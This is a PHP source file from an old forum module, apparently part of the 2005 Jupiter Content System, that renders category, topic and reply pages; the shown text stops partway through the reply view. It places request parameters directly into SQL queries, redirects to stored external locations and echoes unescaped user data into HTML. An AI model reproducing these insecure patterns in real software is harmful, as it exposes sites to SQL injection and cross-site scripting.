<?

/***************************************************************************
 Jupiter Content System @ Jupiterportal.com
 Copyright (C) 2005 Cosmin Flavius (highstrike@gmail.com)

 This program is free software; you can redistribute it and/or
 modify it under the terms of the GNU General Public License
 as published by the Free Software Foundation; either version 2
 of the License, or (at your option) any later version.

 More Info About The Licence At http://www.gnu.org/copyleft/gpl.html
****************************************************************************/

//-----------------------------------------------------------------
//  If user is guest and restriction is turned on
//-----------------------------------------------------------------

if($config['forum_guest_see'] == "0" && isset($is_guest))
{ header("location: $PHP_SELF?i=2"); exit; }

//-----------------------------------------------------------------
//  Start Navigation
//-----------------------------------------------------------------

switch($a)
{
	//-----------------------------------------------------------------
	//  Show Forum
	//-----------------------------------------------------------------

	case 1:

		//-----------------------------------------------------------------
		//  Load MYSQL Table + Breadcrumbs
		//-----------------------------------------------------------------

		$forum_cat = $db->getLine("SELECT id, name FROM forum_cat",$d);
		if(!$forum_cat) header("location: $PHP_SELF?i=error");

		echo "<table class='main' cellspacing='1' cellpadding='4'><tr class='con1'><td><a href='$PHP_SELF?n=modules/forum'>{$config['forum_name']}</a> &raquo; {$forum_cat['name']}</td></tr></table><br>";

		//-----------------------------------------------------------------
		//  Start display
		//-----------------------------------------------------------------

		?>
			<table class='main' cellspacing='1' cellpadding='4'><tr class='head'><td colspan='5'><img src='templates/<?= $template ?>/images/misc/nav.gif' border='0'> <?= $forum_cat['name'] ?></td></tr>
			<tr class='bottom'><td width='54%' colspan='2'><?= $language['Forum view forum desc'] ?> </td><td width='7%' align='center'><?= $language['Forum view forum desc2'] ?></td><td width='8%' align='center'><?= $language['Forum view forum desc3'] ?></td><td width='17%'><?= $language['Forum view forum desc4'] ?></td></tr>
		<?

		//-----------------------------------------------------------------
		//  Get subcats
		//-----------------------------------------------------------------

		$results = $db->getTable("SELECT s.id AS sid, s.name, s.order, s.type, s.description, s.topics, s.replies, s.lastpost_date, s.lastpost_email, s.lastpost_user, s.lastpost_id, s.lastpost_location, s.lastpost_reg, u.id AS uid FROM forum_subcat AS s LEFT JOIN users AS u ON s.lastpost_id=u.id WHERE s.cat = '$d' ORDER BY s.order ASC");

		//-----------------------------------------------------------------
		//  Start the foreach
		//-----------------------------------------------------------------

		foreach($results as $idx=>$result)
		{
			//-----------------------------------------------------------------
			//  Check see what indicator fits
			//-----------------------------------------------------------------

			if($result['type'] == "5") $forum_indicator = "<img src='templates/$template/images/buttons/redirected.gif' alt='{$language['Forum indicator desc9']}'>";
			else
			{
				if(@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat']) && !@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat_read']))
				{
					if($result['type'] == "1") $forum_indicator = "<img src='templates/$template/images/buttons/new.gif' alt='{$language['Forum indicator desc']}'>";
					if($result['type'] == "2") $forum_indicator = "<img src='templates/$template/images/buttons/news_new.gif' alt='{$language['Forum indicator desc2']}'>";
					if($result['type'] == "3") $forum_indicator = "<img src='templates/$template/images/buttons/admin_new.gif' alt='{$language['Forum indicator desc3']}'>";
					if($result['type'] == "4") $forum_indicator = "<img src='templates/$template/images/buttons/locked_new.gif' alt={$language['Forum indicator desc7']}>";
				}
				else
				{
					if($result['type'] == "1") $forum_indicator = "<img src='templates/$template/images/buttons/old.gif' alt='{$language['Forum indicator desc4']}'>";
					if($result['type'] == "2") $forum_indicator = "<img src='templates/$template/images/buttons/news_old.gif' alt='{$language['Forum indicator desc5']}'>";
					if($result['type'] == "3") $forum_indicator = "<img src='templates/$template/images/buttons/admin_old.gif' alt='{$language['Forum indicator desc6']}'>";
					if($result['type'] == "4") $forum_indicator = "<img src='templates/$template/images/buttons/locked_old.gif' alt='{$language['Forum indicator desc8']}'>";
				}
			}

			//-----------------------------------------------------------------
			//  Do some HTML
			//-----------------------------------------------------------------

			echo "<tr><td class='con1' align='center' width='6%'>$forum_indicator</td>";
			echo "<td class='con1'><b><a href='$PHP_SELF?n=modules/forum&a=2&d={$forum_cat['id']}&o={$result['sid']}'>{$result['name']}</a></b><br>{$result['description']}</td>";
			echo "<td class='con2' align='center'>"; if($result['type'] == "5") echo "--"; else echo $result['topics']; echo "</td>";
			echo "<td class='con2' align='center'>"; if($result['type'] == "5") echo "--"; else echo $result['replies']; echo "</td>";
			echo "<td class='con2'>";

			if(!isset($result['redirect_hits'])) $result['redirect_hits'] = "0";

			if($result['type'] == "5") echo "{$language['Forum view forum desc7']} {$result['redirect_hits']}";
			else
			{
				if(!isset($result['lastpost_date'])) echo "--";
				else
				{
					echo "<img src='templates/$template/images/buttons/date.gif' border='0' alt='{$language['Forum view forum desc6']}'> ".today_yesterday($result['lastpost_date'])."<br>{$language['Forum view forum desc6']} ";

					if(isset($result['uid'])) echo "<a href='$PHP_SELF?n=modules/users&a=1&d={$result['lastpost_id']}'>{$result['lastpost_user']}</a>";
					else echo "<a href='mailto:{$result['lastpost_email']}'>{$result['lastpost_user']}</a>";

					echo " <a href='$PHP_SELF?n=modules/forum&a=6&d={$result['lastpost_location']}'><img src='templates/$template/images/buttons/last_post.gif' border='0' alt='{$language['Forum view forum desc4']}'></a>";
				}

				echo "</td></tr>";
			}
		}

		//-----------------------------------------------------------------
		//  Show Indicators
		//-----------------------------------------------------------------

		?>
			<tr class='con4'><td colspan='5'></td></tr></table>
			<br>
			<table class="main" cellspacing="1" cellpadding="4">
			<tr><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/new.gif" border="0" alt="<?= $language['Forum indicator desc'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/news_new.gif" border="0" alt="<?= $language['Forum indicator desc2'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc2'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/admin_new.gif" border="0" alt="<?= $language['Forum indicator desc3'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc3'] ?></td></tr>
			</table>
			</td></tr>
			<tr><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/old.gif" border="0" alt="<?= $language['Forum indicator desc4'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc4'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/news_old.gif" border="0" alt="<?= $language['Forum indicator desc5'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc5'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/admin_old.gif" border="0" alt="<?= $language['Forum indicator desc6'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc6'] ?></td></tr>
			</table>
			</td></tr>
			<tr><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/locked_new.gif" border="0" alt="<?= $language['Forum indicator desc7'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc7'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/locked_old.gif" border="0" alt="<?= $language['Forum indicator desc8'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc8'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/redirected.gif" border="0" alt="<?= $language['Forum indicator desc9'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc9'] ?></td></tr>
			</table>
			</td></tr>
			</table>
		<?

	break;

	//-----------------------------------------------------------------
	//  2.- Show topics
	//-----------------------------------------------------------------
    
    case 2:
    
        // Check the existence of selected cat.
        $forum_cat = $db->getLine("SELECT id, name FROM forum_cat", $d);
        if (!$forum_cat)
            header("location: $PHP_SELF?i=error");
        
        // Check the existence of selected subcat.
        $forum_subcat = $db->getLine("SELECT id, name, type, redirect_hits, ".
        "redirect_location, lastpost_date FROM forum_subcat", $o);
        if (!$forum_subcat)
            header("location: $PHP_SELF?i=error");
        
        // Access restricted if subcat type is "Administration".
        if ($forum_subcat['type'] == "3" && isset($is_guest) ||
            $forum_subcat['type'] == "3" && isset($is_user))
            header("location: $PHP_SELF?i=2");
        
        // Redirection if subcat type is "Redirected".
        if ($forum_subcat['type'] == "5")
        {
            $redirect_plus_plus = $forum_subcat['redirect_hits'] + 1;
            $db->updateRow("forum_subcat",
            array('redirect_hits' => $redirect_plus_plus), "id = '$o'");
            
            header("location: http://{$forum_subcat['redirect_location']}");
        }
        
        
        // Print breadcrumb.
		echo
        "<table class='main' cellspacing='1' cellpadding='4'>".
        "<tr class='con1'>".
        "<td><a href='$PHP_SELF?n=modules/forum'>{$config['forum_name']}</a> ".
        "&raquo; ".
        "<a href='$PHP_SELF?n=modules/forum&a=1&d={$forum_cat['id']}'>".
        "{$forum_cat['name']}</a> ".
        "&raquo; ".
        "{$forum_subcat['name']}</td>".
        "</tr></table>";
        
        
        // Get information of the number of topics per page.
        $rows_per_page = $config['nav_topics'];
        $numrows = $db->getInfo_countRows("forum_topics",
        "cat = '$d' AND subcat = '$o' AND mode != '1'");
        
        $lastpage = ceil($numrows / $rows_per_page);
        $p = (int)$p;
        
        if ($p < 1) $p = 1;
        elseif ($p > $lastpage) $p = $lastpage;
        
        if ($numrows)
            $limit = "LIMIT ".($p - 1) * $rows_per_page.", $rows_per_page";
        else
            $limit = NULL;
        
        
        // SQL table for topics.
        if ($numrows != "0")
            $forum_topics = $db->getTable(
            "SELECT t.*, ua.id AS uaid, COUNT(DISTINCT r.id) AS replies, ".
                    "ul.id AS ulid, COUNT(t.id) AS translations ".
            "FROM forum_topics AS t ".
            "LEFT JOIN users AS ua ON t.author_id = ua.id ".
            "LEFT JOIN forum_replies AS r ON r.topic = t.id ".
            "LEFT JOIN users AS ul ON t.lastpost_id = ul.id ".
            "WHERE t.cat = '$d' AND t.subcat = '$o' AND t.mode != 1 ".
            "GROUP BY t.id ".
            "ORDER BY mode ASC, lastpost_date DESC $limit");
        else
            $forum_topics = NULL;
        
		//-----------------------------------------------------------------
		//  Navigation Code
		//-----------------------------------------------------------------

		if(!$forum_topics) $nav_prev = NULL;
		elseif($p == 1) $nav_prev = NULL;
		else
		{
			$prevpage = $p-1;
			$nav_prev = "<td>&nbsp;</td><td class='pagelink'><a href='$PHP_SELF?n=modules/forum&a=2&d={$forum_cat['id']}&o={$forum_subcat['id']}&p=$prevpage'>&laquo;</a></td>";
		}

		if(!$forum_topics) $nav_next = NULL;
		elseif($p == $lastpage) $nav_next = NULL;
		else
		{
			$nextpage = $p+1;
			$nav_next = "<td class='pagelink'><a href='$PHP_SELF?n=modules/forum&a=2&d={$forum_cat['id']}&o={$forum_subcat['id']}&p=$nextpage'>&raquo;</a></td>";
		}

		if($forum_topics) $nav_nr = paginate($lastpage, $p, $PHP_SELF.'?n=modules/forum&a=2&d='.$forum_cat['id'].'&o='.$forum_subcat['id'], true); else $nav_nr = NULL;

		if($lastpage == 1) $nav_pages_def = $language['Forum view topics desc11']; else $nav_pages_def = $language['Forum view topics desc12'];

		$nav = '<table border="0" cellspacing="0" cellpadding="0"><tr><td class="pagelink">'.$lastpage.' '.$nav_pages_def.'</td>'.$nav_prev.'<td>&nbsp;</td>'.$nav_nr.'<td>&nbsp;</td>'.$nav_next.'</tr></table>';

		//-----------------------------------------------------------------
		//  Make Subcat old
		//-----------------------------------------------------------------

		if (isset($is_loged_in))
		{
			if($forum_topics)
				foreach($forum_topics as $idx=>$forum_topic)
					if(@in_array(array("{$forum_topic['id']}","{$forum_topic['subcat']}","{$forum_topic['lastpost_date']}"),$_SESSION['topic']) && !@in_array(array("{$forum_topic['id']}","{$forum_topic['subcat']}","{$forum_topic['lastpost_date']}"),$_SESSION['topic_read']))
						$forum_subcat_read = TRUE;

			if (!isset($forum_subcat_read))
			{
				if(@$_SESSION['subcat'][$o] == array("{$forum_subcat['id']}","{$forum_subcat['lastpost_date']}"))
				{
					@$array_subcat_read[] = $forum_subcat['id'];
					@$array_subcat_read[] = $forum_subcat['lastpost_date'];

					$_SESSION['subcat_read'][$o] = $array_subcat_read;
				}
			}
		}

		//-----------------------------------------------------------------
		//  Start Restictions
		//-----------------------------------------------------------------

		if ($forum_subcat['type'] == "2" && isset($is_guest) ||
            $forum_subcat['type'] == "2" && isset($is_user) ||
            $forum_subcat['type'] == "2" && isset($is_moderator) ||
            $forum_subcat['type'] == "4" && isset($is_guest) ||
            $forum_subcat['type'] == "4" && isset($is_user) ||
            $forum_subcat['type'] == "6" && isset($is_guest) ||
            $forum_subcat['type'] == "6" && isset($is_user))
            $forum_new_topic = NULL;
		else
		{
			if ($config['forum_guest_topic'] == "0" && isset($is_guest))
                $forum_new_topic = NULL;
			else if ($forum_subcat['type'] == "6")
                $forum_new_topic = "<a href='$PHP_SELF?n=modules/events&a=4&s=".
                $forum_subcat['id']."'><img src='templates/".
                $template."/images/buttons/new_topic.gif' border='0' alt='".
                $language['Forum view topics desc10']."'></a>";
            else
                $forum_new_topic = "<a href='$PHP_SELF?n=modules/forum&a=4&d=".
                $forum_cat['id']."&o={$forum_subcat['id']}'><img src='".
                "templates/$template/images/buttons/new_topic.gif' border='0' ".
                "alt='{$language['Forum view topics desc10']}'></a>";
		}

		//-----------------------------------------------------------------
		//  Start display
		//-----------------------------------------------------------------

		?>
			<table><tr><td></td></tr></table>
			<table border='0' width="100%" cellspacing="0" cellpadding="0"><tr class="empty"><td align="left" width="80%"><?= $nav ?></td><td align="right" width="20%"><?= $forum_new_topic ?></td></tr></table>
			<table><tr><td></td></tr></table>
			<table class='main' cellspacing='1' cellpadding='4'><tr class='head'><td colspan='6'><img src='templates/<?= $template ?>/images/misc/nav.gif' border='0'> <?= $forum_subcat['name'] ?></td></tr>
			<tr class='bottom'><td width='40%' colspan='2'><?= $language['Forum view topics desc'] ?></td><td width='7%' align='center'><?= $language['Forum view topics desc2'] ?></td><td width='14%' align='center'><?= $language['Forum view topics desc3'] ?></td><td width='8%' align='center'><?= $language['Forum view topics desc4'] ?></td><td width='17%'><?= $language['Forum view topics desc5'] ?></td></tr>
		<?

		//-----------------------------------------------------------------
		//  Check for Announcement Topic
		//-----------------------------------------------------------------

		$forum_announcement = $db->getLine("SELECT t.*, ua.id AS uaid, COUNT(r.id) AS replies, ul.id AS ulid FROM forum_topics AS t LEFT JOIN users AS ua ON t.author_id=ua.id LEFT JOIN forum_replies AS r ON r.topic=t.id LEFT JOIN users AS ul ON t.lastpost_id=ul.id WHERE t.cat = '$d' AND t.subcat = '$o' AND t.mode = 1 GROUP BY t.id");

		//-----------------------------------------------------------------
		//  If Announcement Topic exists then show it
		//-----------------------------------------------------------------

		if ($forum_announcement)
		{
			//-----------------------------------------------------------------
			//  Do the HTML
			//-----------------------------------------------------------------

			echo "<tr><td class='con1' align='center' width='6%'><img src='templates/$template/images/buttons/announcement.gif' alt='{$language['Forum indicator desc16']}'></td>";
			echo "<td class='con1'><a href='$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$forum_announcement['id']}'>".cuttext($forum_announcement['name'],30)."</a></td>";
			echo "<td class='con2' align='center'>".($forum_announcement['replies'] - 1)."</td>";

			if(isset($forum_announcement['uaid'])) echo "<td class='con2' align='center'><a href='$PHP_SELF?n=modules/users&a=1&d={$forum_announcement['author_id']}'>{$forum_announcement['author_user']}</a></td>";
			else echo "<td class='con2' align='center'><a href='mailto:{$forum_announcement['author_email']}'>{$forum_announcement['author_user']}</a></td>";

			echo "<td class='con2' align='center'>{$forum_announcement['views']}</td>";

			//-----------------------------------------------------------------
			//  Do more HTML
			//-----------------------------------------------------------------

			if ($forum_announcement['type'] == 3)
                echo "<td class='con2'>{$language['Forum view forum desc5']} {$forum_announcement['redirect_hits']}</td></tr>";
			else
			{
				echo "<td class='con2'><img src='templates/$template/images/buttons/date.gif' border='0' alt='{language['Forum view topics desc6']}'> ".today_yesterday($forum_announcement['lastpost_date'])."<br>{$language['Forum view topics desc7']} ";

				if (isset($forum_announcement['ulid']))
                    echo "<a href='$PHP_SELF?n=modules/users&a=1&d={$forum_announcement['lastpost_id']}'>{$forum_announcement['lastpost_user']}</a>";
				else
                    echo "<a href='mailto:{$forum_announcement['lastpost_email']}'>{$forum_announcement['lastpost_user']}</a>";

				echo " <a href='$PHP_SELF?n=modules/forum&a=6&d={$forum_announcement['lastpost_location']}'><img src='templates/$template/images/buttons/last_post.gif' border='0' alt='{$language['Forum view topics desc5']}'></a></td></tr>";
			}
		}

		//-----------------------------------------------------------------
		//  Check see if topics or announcement exists, else message
		//-----------------------------------------------------------------

		elseif (!$forum_topics)
            echo "<tr><td class='con1' colspan='6'>{$language['Forum view topics desc9']}</td></tr>";
		else
		{
			//-----------------------------------------------------------------
			//  Start the foreach if topics exist
			//-----------------------------------------------------------------

			foreach($forum_topics as $idx=>$result)
			{
				//-----------------------------------------------------------------
				//  Check see what indicator fits
				//-----------------------------------------------------------------

				if($result['mode'] == "2")
                    $forum_indicator = "<img src='templates/$template/images/buttons/sticky.gif' alt='{$language['Forum indicator desc17']}'>";
				if($result['mode'] == "3")
				{
					if (@in_array(array("{$result['id']}","{$result['subcat']}","{$result['lastpost_date']}"),$_SESSION['topic']) &&
                        !@in_array(array("{$result['id']}","{$result['subcat']}","{$result['lastpost_date']}"),$_SESSION['topic_read']))
					{
						if($result['type'] == "1")
						{
							if(($result['replies'] - 1) >= $config['forum_hot']) $forum_indicator = "<img src='templates/$template/images/buttons/hot_new.gif' alt='{$language['Forum indicator desc11']}'>";
							else $forum_indicator = "<img src='templates/$template/images/buttons/new.gif' alt='{$language['Forum indicator desc10']}'>";
						}
						if($result['type'] == "2") $forum_indicator = "<img src='templates/$template/images/buttons/locked_new.gif' alt='{$language['Forum indicator desc12']}'>";
					}
					else
					{
						if($result['type'] == "1")
						{
							if(($result['replies'] - 1) >= $config['forum_hot']) $forum_indicator = "<img src='templates/$template/images/buttons/hot_old.gif' alt='{$language['Forum indicator desc14']}'>";
							else $forum_indicator = "<img src='templates/$template/images/buttons/old.gif' alt='{$language['Forum indicator desc13']}'>";
						}
						if($result['type'] == "2") $forum_indicator = "<img src='templates/$template/images/buttons/locked_old.gif' alt='{$language['Forum indicator desc15']}'>";
					}

					if($result['type'] == "3") $forum_indicator = "<img src='templates/$template/images/buttons/moved.gif' alt='{$language['Forum indicator desc18']}'>";
				}

				//-----------------------------------------------------------------
				//  Count the replies
				//-----------------------------------------------------------------

				$page = ceil($result['replies']/$config['nav_replies']);

				if($page > 1) $inner_pag = "[ ".paginate($page, 0, "$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$result['id']}")." ]";
				else $inner_pag = NULL;
                
                //-----------------------------------------------------------------
                //  Do some HTML
                //-----------------------------------------------------------------
                
                //Multilanguage selection (if exists more than one translation)
                if ($result['translations'] > 1)
                {
                    //Selected language
                    $new = $db->getLine("SELECT name FROM forum_topics ".
                    "WHERE id = '{$result['id']}' ".
                    "AND language = '$sitelanguage'");
                    
                    //User preferred language
                    if (!$new && isset($result['uid']))
                    $new = $db->getLine("SELECT name FROM forum_topics ".
                    "WHERE id = '{$result['id']}' ".
                    "AND language = '{$result['language']}'");
                    
                    //Default language
                    if (!$new)
                    $new = $db->getLine("SELECT name FROM forum_topics ".
                    "WHERE id = '{$result['id']}' ".
                    "AND language = '{$config['language']}'");
                    
                    if ($new) $result['name'] = $new['name'];
                }
                
                echo "<tr><td class='con1' align='center' width='6%'>$forum_indicator</td>";
                echo "<td class='con1'><a href='$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$result['id']}'>".cuttext($result['name'],30)."</a><br>$inner_pag</td>";
				if($result['type'] == 3) echo "<td class='con2' align='center'>--</td>"; else echo "<td class='con2' align='center'>".($result['replies'] - 1)."</td>";

				if(isset($result['uaid'])) echo "<td class='con2' align='center'><a href='$PHP_SELF?n=modules/users&a=1&d={$result['author_id']}'>{$result['author_user']}</a></td>";
				else  echo "<td class='con2' align='center'><a href='mailto:{$result['author_email']}'>{$result['author_user']}</a></td>";

				if($result['type'] == 3) echo "<td class='con2' align='center'>--</td>"; else echo "<td class='con2' align='center'>{$result['views']}</td>";

				if($result['type'] == 3) echo "<td class='con2'>{$language['Forum view topics desc8']} {$result['redirect_hits']}</td></tr>";
				else
				{
					echo "<td class='con2'><img src='templates/$template/images/buttons/date.gif' border='0' alt='{$language['Forum view topics desc6']}'> ".today_yesterday($result['lastpost_date'])."<br>{$language['Forum view topics desc7']} ";

					if(isset($result['ulid'])) echo "<a href='$PHP_SELF?n=modules/users&a=1&d={$result['lastpost_id']}'>{$result['lastpost_user']}</a>";
					else echo "<a href='mailto:{$result['lastpost_email']}'>{$result['lastpost_user']}</a>";

					echo " <a href='$PHP_SELF?n=modules/forum&a=6&d={$result['lastpost_location']}'><img src='templates/$template/images/buttons/last_post.gif' border='0' alt='{$language['Forum view topics desc5']}'></a></td></tr>";
				}
			}
		}

		//-----------------------------------------------------------------
		//  Show Indicators
		//-----------------------------------------------------------------

		?>
			<tr class='con4'><td colspan='6'></td></tr></table>
			<table><tr><td></td></tr></table>
			<table border='0' width="100%" cellspacing="0" cellpadding="0"><tr class="empty"><td align="left" width="80%"><?= $nav ?></td><td align="right" width="20%"><?= $forum_new_topic ?></td></tr></table>
			<table><tr><td></td></tr></table>
			<table class="main" cellspacing="1" cellpadding="4">
			<tr><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/new.gif" border="0" alt="<?= $language['Forum indicator desc10'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc10'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/hot_new.gif" border="0" alt="<?= $language['Forum indicator desc11'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc11'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/locked_new.gif" border="0" alt="<?= $language['Forum indicator desc12'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc12'] ?></td></tr>
			</table>
			</td></tr>
			<tr><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/old.gif" border="0" alt="<?= $language['Forum indicator desc13'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc13'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/hot_old.gif" border="0" alt="<?= $language['Forum indicator desc14'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc14'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/locked_old.gif" border="0" alt="<?= $language['Forum indicator desc15'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc15'] ?></td></tr>
			</table>
			</td></tr>
			<tr><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/announcement.gif" border="0" alt="<?= $language['Forum indicator desc16'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc16'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/sticky.gif" border="0" alt="<?= $language['Forum indicator desc17'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc17'] ?></td></tr>
			</table>
			</td><td class="con1" width="33%">
			<table width="100%" cellspacing="0" cellpadding="0">
			<tr><td width="10%" class="empty"><img src="templates/<?= $template ?>/images/buttons/moved.gif" border="0" alt="<?= $language['Forum indicator desc18'] ?>"></td><td width="90%" class="empty"><?= $language['Forum indicator desc18'] ?></td></tr>
			</table>
			</td></tr>
			</table>
		<?

	break;

    //-----------------------------------------------------------------
    //  Show Replies
    //-----------------------------------------------------------------
    
    case 3:
    
        //-----------------------------------------------------------------
        //  Breadcrumbs + Check for existance
        //-----------------------------------------------------------------
        
        $forum_cat = $db->getLine("SELECT * FROM forum_cat", $d);
        if (!$forum_cat) header("location: $PHP_SELF?i=error");
        
        $forum_subcat = $db->getLine("SELECT * FROM forum_subcat", $o);
        if (!$forum_subcat) header("location: $PHP_SELF?i=error");
        
        $forum_topic = $db->getLine("SELECT * FROM forum_topics", $q);
        if (!$forum_topic) header("location: $PHP_SELF?i=error");

		echo
        "<table class='main' cellspacing='1' cellpadding='4'>".
        "<tr class='con1'><td>".
        "<a href='$PHP_SELF?n=modules/forum'>{$config['forum_name']}</a> ".
        "&raquo; ".
        "<a href='$PHP_SELF?n=modules/forum&a=1&d={$forum_cat['id']}'>".
        "{$forum_cat['name']}</a> ".
        "&raquo; ".
        "<a href='$PHP_SELF?n=modules/forum&a=2&d={$forum_cat['id']}&".
        "o={$forum_subcat['id']}'>{$forum_subcat['name']}</a> ".
        "&raquo; ".
        "{$forum_topic['name']}".
        "</td></tr></table>";
        
        //-----------------------------------------------------------------
        //  Start Redirections
        //-----------------------------------------------------------------
        
        if ($forum_topic['type'] == "3")
        {
            $redirect_plus_plus = $forum_topic['redirect_hits'] + 1;
            $db->updateRow("forum_topics",
            array("redirect_hits" => $redirect_plus_plus), "id = '$q'");
            
            header("location: $PHP_SELF?n=modules/forum&a=3&".
            "d={$forum_topic['redirect_cat']}&".
            "o={$forum_topic['redirect_subcat']}&".
            "q={$forum_topic['redirect_topic']}");
        }
        
        //-----------------------------------------------------------------
        //  Start Restictions
        //-----------------------------------------------------------------
        
        if ($forum_subcat['type'] == "3" && isset($is_guest) ||
            $forum_subcat['type'] == "3" && isset($is_user))
        {
            header("location: $PHP_SELF?i=2");
            exit;
        }
        
        //-----------------------------------------------------------------
        //  Count Views
        //-----------------------------------------------------------------
        
        $view_plus_plus = $forum_topic['views'] + 1;
		$db->updateRow("forum_topics",
        array("views" => $view_plus_plus), "id = '$q'");
        
        //-----------------------------------------------------------------
        //  Navigation Stuff
        //-----------------------------------------------------------------
        
        $rows_per_page = $config['nav_replies'];
        $numrows = $db->getInfo_countRows("forum_replies",
        "cat = '$d' AND subcat = '$o' AND topic = '$q'");
        
        $lastpage = ceil($numrows/$rows_per_page);
        $p = (int)$p;
        
        if ($p < 1) $p = 1;
        elseif ($p > $lastpage) $p = $lastpage;
        
        if ($numrows)
            $limit = "LIMIT ".($p - 1) * $rows_per_page.", $rows_per_page";
        else
            $limit = "";

		//-----------------------------------------------------------------
		//  Load MYSQL Table
		//-----------------------------------------------------------------

        $results = $db->getTable(
        "SELECT r.id, r.date, r.user_reg, r.user_id, r.user_user, ".
               "r.user_email, r.message, r.ip, ".
               "u.id AS uid, u.authorization, u.email, u.url, u.flag, ".
               "u.location, u.registered, u.forumposts, u.signature, u.msn, ".
               "u.yahoo, u.icq, u.aim, u.skype, u.avatar, u.hideemail, ".
               "u.status, ".
               "o.user_id AS oid, ".
               "COUNT(*) AS translations ".
        "FROM forum_replies AS r ".
        "LEFT JOIN users AS u ON u.id = r.user_id ".
        "LEFT JOIN online AS o ON (o.user_id = u.id AND o.type = 'live') ".
        "WHERE r.cat = '$d' AND r.subcat = '$o' AND r.topic = '$q' ".
        "GROUP BY r.id ".
        "ORDER by id ASC $limit");
        
        //-----------------------------------------------------------------
        //  Navigation Code
        //-----------------------------------------------------------------
        
        if (!$results)
            $nav_prev = "";
        elseif ($p == 1)
            $nav_prev = "";
        else
        {
            $prevpage = $p - 1;
            $nav_prev = "<td>&nbsp;</td>".
            "<td class='pagelink'><a href='$PHP_SELF?n=modules/forum&a=3&".
            "d={$forum_cat['id']}&o={$forum_subcat['id']}&".
            "q={$forum_topic['id']}&p=$prevpage'>&laquo;</a></td>";
        }
        
        if (!$results)
            $nav_next = "";
        elseif ($p == $lastpage)
            $nav_next = "";
        else
        {
            $nextpage = $p + 1;
            $nav_next =
            "<td class='pagelink'><a href='$PHP_SELF?n=modules/forum&a=3&".
            "d={$forum_cat['id']}&o={$forum_subcat['id']}&".
            "q={$forum_topic['id']}&p=$nextpage'>&raquo;</a></td>";
        }
        
        if ($results)
            $nav_nr = paginate($lastpage, $p, 
            "$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&".
            "o={$forum_subcat['id']}&q={$forum_topic['id']}", true);
        else
            $nav_nr = "";
            
        if ($lastpage == 1)
            $nav_pages_def = $language['Forum view replies desc26'];
        else
            $nav_pages_def = $language['Forum view replies desc27'];
        
